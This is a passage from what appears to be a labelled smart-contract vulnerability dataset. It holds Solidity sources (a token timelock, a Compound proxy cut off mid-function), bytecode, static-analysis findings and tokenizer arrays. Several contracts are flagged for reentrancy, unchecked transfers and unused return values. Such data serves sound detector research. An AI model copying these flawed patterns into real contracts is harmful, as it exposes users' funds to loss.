38516600090815260986020526040902042600290910155811561157f576000611581565b805b6001600160a01b038616600090815260986020526040902060040155609a546115aa9084612514565b609a819055506115e48360978660ff16815481106115c457fe5b90600052602060002090600302016002015461257590919063ffffffff16565b60978560ff16815481106115f457fe5b9060005260206000209060030201600201819055506116608561164860986000896001600160a01b03166001600160a01b03168152602001908152602001600020600401548661251490919063ffffffff16565b609d5461010090046001600160a01b031691906125d2565b6001600160a01b0385166000818152609860209081526040918290206004015482518781529182015281517f7fc4727e062e336010f2c282598ef5f14facb3de68cf8195c2f23e1454b2b74e929181900390910190a250506001606555505050565b6001600160a01b0381166000908152609860209081526040808320815160c081018352815460ff80821615158352610100909104169381019390935260018101549183019190915260028101546060830152600381015460808301526004015460a0820152819081908190819061173887610dfa565b1561176c57608081015160208201516040830151919750955061175c90878761243a565b9094509250600091506117959050565b600080600080611789609954609b5461257590919063ffffffff16565b95509550955095509550505b91939590929450565b609781815481106117ae57600080fd5b600091825260209091206003909102018054600182015460029092015460ff8216935061010090910461ffff16919084565b6117e8611ff2565b6001600160a01b03166117f96112fc565b6001600160a01b031614611842576040805162461bcd60e51b81526020600482018190526024820152600080516020612cc0833981519152604482015290519081900360640190fd5b60005b6097548110156118ac576097818154811061185c57fe5b600091825260209091206003909102015460ff16156118a45760006097828154811061188457fe5b60009182526020909120600390910201805460ff19169115159190911790555b600101611845565b50609d54604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156118fd57600080fd5b505afa158015611911573d6000803e3d6000fd5b505050506040513d602081101561192757600080fd5b5051609954609a5491925061194791611941908490612514565b90612575565b905080156119725761197261195a6112fc565b609d5461010090046001600160a01b031690836125d2565b50565b609e546001600160a01b031681565b6034546001600160a01b031690565b600061199d611ff2565b9050806001600160a01b03166119b16112fc565b6001600160a01b031614806119d35750609e546001600160a01b038281169116145b611a0e5760405162461bcd60e51b8152600401808060200182810382526026815260200180612c196026913960400191505060405180910390fd5b609c8290556040805183815290517f6e4bcc82cb4b918df6b911c8092c49f027b7d409733e2c97bb0a4b5a367e19db9181900360200190a15050565b6000611a54611ff2565b9050806001600160a01b0316611a686112fc565b6001600160a01b03161480611a8a5750609e546001600160a01b038281169116145b611ac55760405162461bcd60e51b8152600401808060200182810382526026815260200180612c196026913960400191505060405180910390fd5b60975460ff861610611b12576040805162461bcd60e51b8152602060048201526011602482015270092dcecc2d8d2c840e8f2e0ca92dcc8caf607b1b604482015290519081900360640190fd5b6113888210611b5f576040805162461bcd60e51b8152602060048201526014602482015273546f6f206c61726765207265776172645261746560601b604482015290519081900360640190fd5b600060978660ff1681548110611b7157fe5b600091825260209182902060039190910201805460ff19168715151762ffff00191661010061ffff888116820292909217808455600184018890556040805160ff8d8116825283161515968101969096529190049091168382015260608301869052519092507f72a38eea1f38f2d28e765e3ec3da350219bbac1187a20efd23795391d910bfdf916080908290030190a1505050505050565b609c5481565b60026065541415611c68576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026065556000611c77611ff2565b9050611c81610c0d565b611cc3576040805162461bcd60e51b815260206004820152600e60248201526d105b1c9958591e4818db1bdcd95960921b604482015290519081900360640190fd5b611ccc81610dfa565b15611d0f576040805162461bcd60e51b815260206004820152600e60248201526d105b1c9958591e481cdd185ad95960921b604482015290519081900360640190fd5b82609c541115611d66576040805162461bcd60e51b815260206004820152601f60248201527f546865207374616b696e6720616d6f756e7420697320746f6f20736d616c6c00604482015290519081900360640190fd5b609b54609954611d769085612514565b1115611dc9576040805162461bcd60e51b815260206004820152601860248201527f45786365656420746865207374616b696e67206c696d69740000000000000000604482015290519081900360640190fd5b60975460ff831610611e16576040805162461bcd60e51b8152602060048201526011602482015270092dcecc2d8d2c840e8f2e0ca92dcc8caf607b1b604482015290519081900360640190fd5b60978260ff1681548110611e2657fe5b600091825260209091206003909102015460ff16611e7f576040805162461bcd60e51b8152602060048201526011602482015270151a19481d1e5c1948191a5cd8589b1959607a1b604482015290519081900360640190fd5b609d54611e9c9061010090046001600160a01b0316823086612273565b6040805160c081018252600180825260ff858116602080850191825242858701908152600060608701818152608088018c815260a089018381526001600160a01b038c16845260989095529890912096518754945160ff199095169015151761ff001916610100949095169390930293909317855591519284019290925590516002830155915160038201559051600490910155609954611f3d9084612514565b609981905550611f778360978460ff1681548110611f5757fe5b90600052602060002090600302016002015461251490919063ffffffff16565b60978360ff1681548110611f8757fe5b906000526020600020906003020160020181905550806001600160a01b03167f8acf475137e0cd74ca7f611d16b1e6383ec9a9c71a8e5b85967781b9c7214d118484604051808381526020018260ff1681526020019250505060405180910390a25050600160655550565b3390565b80518251148015612008575082518251145b61204b576040805162461bcd60e51b815260206004820152600f60248201526e4d69736d617463686564206461746160881b604482015290519081900360640190fd5b815160975460ff91011115612092576040805162461bcd60e51b81526020600482015260086024820152670a8dede40daeac6d60c31b604482015290519081900360640190fd5b60005b825181101561226d576002612710048282815181106120b057fe5b602002602001015110612101576040805162461bcd60e51b8152602060048201526014602482015273546f6f206c61726765207265776172645261746560601b604482015290519081900360640190fd5b6000604051806080016040528086848151811061211a57fe5b60200260200101511515815260200185848151811061213557fe5b602002602001015161ffff16815260200184848151811061215257fe5b6020908102919091018101518252600091810182905260978054600181018255925282517f354a83ed9988f79f6038d4c7a7dadbad8af32f4ad6df893e0e5807a1b1944ff9600390930292830180548584015160ff1990911692151592831762ffff00191661010061ffff909216918202179091556040808601517f354a83ed9988f79f6038d4c7a7dadbad8af32f4ad6df893e0e5807a1b1944ffa86018190556060808801517f354a83ed9988f79f6038d4c7a7dadbad8af32f4ad6df893e0e5807a1b1944ffb909701969096558151938452938301919091528181019290925290519293507f78d782a4d9e33a46c20a0def9e9253843ce1b0434604e52b451eaa17245c3685929081900390910190a150600101612095565b50505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261226d908590612620565b60006122d8306126d1565b15905090565b600054610100900460ff16806122f757506122f76122cd565b80612305575060005460ff16155b6123405760405162461bcd60e51b815260040180806020018281038252602e815260200180612c71602e913960400191505060405180910390fd5b600054610100900460ff1615801561236b576000805460ff1961ff0019909116610100171660011790555b6123736126d7565b61237c82612777565b8015610d46576000805461ff00191690555050565b600054610100900460ff16806123aa57506123aa6122cd565b806123b8575060005460ff16155b6123f35760405162461bcd60e51b815260040180806020018281038252602e815260200180612c71602e913960400191505060405180910390fd5b600054610100900460ff1615801561241e576000805460ff1961ff0019909116610100171660011790555b612426612850565b8015611972576000805461ff001916905550565b60008060978360ff168154811061244d57fe5b600091825260209091206003909102015460ff166124705750600090508061250c565b600060978460ff168154811061248257fe5b906000526020600020906003020160000160019054906101000a900461ffff1661ffff16620151800262ffffff16860190508042106124c25760006124c6565b4281035b925061250861271061250260978760ff16815481106124e157fe5b906000526020600020906003020160010154886128f690919063ffffffff16565b9061294f565b9150505b935093915050565b60008282018381101561256e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000828211156125cc576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610fda9084905b6000612675826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166129b69092919063ffffffff16565b805190915015610fda5780806020019051602081101561269457600080fd5b5051610fda5760405162461bcd60e51b815260040180806020018281038252602a815260200180612d00602a913960400191505060405180910390fd5b3b151590565b600054610100900460ff16806126f057506126f06122cd565b806126fe575060005460ff16155b6127395760405162461bcd60e51b815260040180806020018281038252602e815260200180612c71602e913960400191505060405180910390fd5b600054610100900460ff16158015612426576000805460ff1961ff0019909116610100171660011790558015611972576000805461ff001916905550565b600054610100900460ff168061279057506127906122cd565b8061279e575060005460ff16155b6127d95760405162461bcd60e51b815260040180806020018281038252602e815260200180612c71602e913960400191505060405180910390fd5b600054610100900460ff16158015612804576000805460ff1961ff0019909116610100171660011790555b603380546001600160a01b0319166001600160a01b038416908117909155604051600090600080516020612ce0833981519152908290a38015610d46576000805461ff00191690555050565b600054610100900460ff168061286957506128696122cd565b80612877575060005460ff16155b6128b25760405162461bcd60e51b815260040180806020018281038252602e815260200180612c71602e913960400191505060405180910390fd5b600054610100900460ff161580156128dd576000805460ff1961ff0019909116610100171660011790555b60016065558015611972576000805461ff001916905550565b60008261290557506000610e49565b8282028284828161291257fe5b041461256e5760405162461bcd60e51b8152600401808060200182810382526021815260200180612c9f6021913960400191505060405180910390fd5b60008082116129a5576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816129ae57fe5b049392505050565b60606129c584846000856129cd565b949350505050565b606082471015612a0e5760405162461bcd60e51b8152600401808060200182810382526026815260200180612bf36026913960400191505060405180910390fd5b612a17856126d1565b612a68576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b60208310612aa65780518252601f199092019160209182019101612a87565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612b08576040519150601f19603f3d011682016040523d82523d6000602084013e612b0d565b606091505b5091509150612b1d828286612b28565b979650505050505050565b60608315612b3757508161256e565b825115612b475782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b91578181015183820152602001612b79565b50505050905090810190601f168015612bbe5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5468652063616c6c65722073686f756c64206265206f776e6572206f7220676f7665726e6f726163636570744f776e6572736869703a2043616c6c206d75737420636f6d652066726f6d2070656e64696e674f776e65722e496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220ef51a4838e6f6ebbede0b4836b586540703df6a469176e4bc61b87c1f023300f64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2497, 19481, 2278, 2692, 2683, 21926, 23352, 2487, 16336, 2063, 23632, 2094, 29097, 2094, 22025, 16048, 8586, 2581, 6305, 9468, 2620, 2546, 20958, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 24540, 1013, 13338, 6279, 24170, 3085, 21572, 18037, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 8785, 1013, 3647, 18900, 6979, 26952, 13662, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 11387, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,817
0x976bccfbeea811bab3f0e185acc2245d314dac2d
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30153600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xC5fd76F85E95AaD65bD010e942c7e1F19FED289e; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820b289b1d36f6f3bcc218cb076aa949eea9b66779c7bc8c278e1555f7bb984aea50029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 9818, 2278, 26337, 4402, 2050, 2620, 14526, 3676, 2497, 2509, 2546, 2692, 2063, 15136, 2629, 6305, 2278, 19317, 19961, 2094, 21486, 2549, 2850, 2278, 2475, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,818
0x976c1618d1a88dc6ea6b6694c084eaac07fdcee8
pragma solidity ^0.6.0; interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } abstract contract ComptrollerInterface { function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory); function exitMarket(address cToken) external virtual returns (uint256); function getAssetsIn(address account) external virtual view returns (address[] memory); function markets(address account) public virtual view returns (bool, uint256); function getAccountLiquidity(address account) external virtual view returns (uint256, uint256, uint256); function claimComp(address holder) virtual public; } // File: localhost/interfaces/CEtherInterface.sol pragma solidity ^0.6.0; abstract contract CEtherInterface { function mint() external virtual payable; function repayBorrow() external virtual payable; } // File: localhost/interfaces/CTokenInterface.sol pragma solidity ^0.6.0; abstract contract CTokenInterface is ERC20 { function mint(uint256 mintAmount) external virtual returns (uint256); function mint() external virtual payable; function redeem(uint256 redeemTokens) external virtual returns (uint256); function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256); function borrow(uint256 borrowAmount) external virtual returns (uint256); function repayBorrow(uint256 repayAmount) external virtual returns (uint256); function repayBorrow() external virtual payable; function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256); function repayBorrowBehalf(address borrower) external virtual payable; function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external virtual returns (uint256); function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable; function exchangeRateCurrent() external virtual returns (uint256); function supplyRatePerBlock() external virtual returns (uint256); function borrowRatePerBlock() external virtual returns (uint256); function totalReserves() external virtual returns (uint256); function reserveFactorMantissa() external virtual returns (uint256); function borrowBalanceCurrent(address account) external virtual returns (uint256); function totalBorrowsCurrent() external virtual returns (uint256); function getCash() external virtual returns (uint256); function balanceOfUnderlying(address owner) external virtual returns (uint256); function underlying() external virtual returns (address); function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); } // File: localhost/utils/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: localhost/interfaces/GasTokenInterface.sol pragma solidity ^0.6.0; abstract contract GasTokenInterface is ERC20 { function free(uint256 value) public virtual returns (bool success); function freeUpTo(uint256 value) public virtual returns (uint256 freed); function freeFrom(address from, uint256 value) public virtual returns (bool success); function freeFromUpTo(address from, uint256 value) public virtual returns (uint256 freed); } // File: localhost/utils/GasBurner.sol pragma solidity ^0.6.0; contract GasBurner { // solhint-disable-next-line const-name-snakecase GasTokenInterface public constant gasToken = GasTokenInterface(0x0000000000b3F879cb30FE243b4Dfee438691c04); modifier burnGas(uint _amount) { uint gst2Amount = _amount; if (_amount == 0) { gst2Amount = (gasleft() + 14154) / (2 * 24000 - 6870); gst2Amount = gst2Amount - (gst2Amount / 3); // 33.3% less because of gaslimit != gas_used } if (gasToken.balanceOf(address(this)) >= gst2Amount) { gasToken.free(gst2Amount); } _; } } // File: localhost/compound/CompoundBasicProxy.sol pragma solidity ^0.6.0; /// @title Basic compound interactions through the DSProxy contract CompoundBasicProxy is GasBurner { address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; using SafeERC20 for ERC20; /// @notice User deposits tokens to the Compound protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _cTokenAddr CTokens to be deposited /// @param _amount Amount of tokens to be deposited /// @param _inMarket True if the token is already in market for that address function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); } approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDR) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail } } /// @notice User withdraws tokens to the Compound protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _cTokenAddr CTokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _isCAmount If true _amount is cTokens if falls _amount is underlying tokens function withdraw(address _tokenAddr, address _cTokenAddr, uint _amount, bool _isCAmount) public burnGas(5) { if (_isCAmount) { require(CTokenInterface(_cTokenAddr).redeem(_amount) == 0); } else { require(CTokenInterface(_cTokenAddr).redeemUnderlying(_amount) == 0); } // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice User borrows tokens to the Compound protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _cTokenAddr CTokens to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _inMarket True if the token is already in market for that address function borrow(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(8) { if (!_inMarket) { enterMarket(_cTokenAddr); } require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); // withdraw funds to msg.sender if 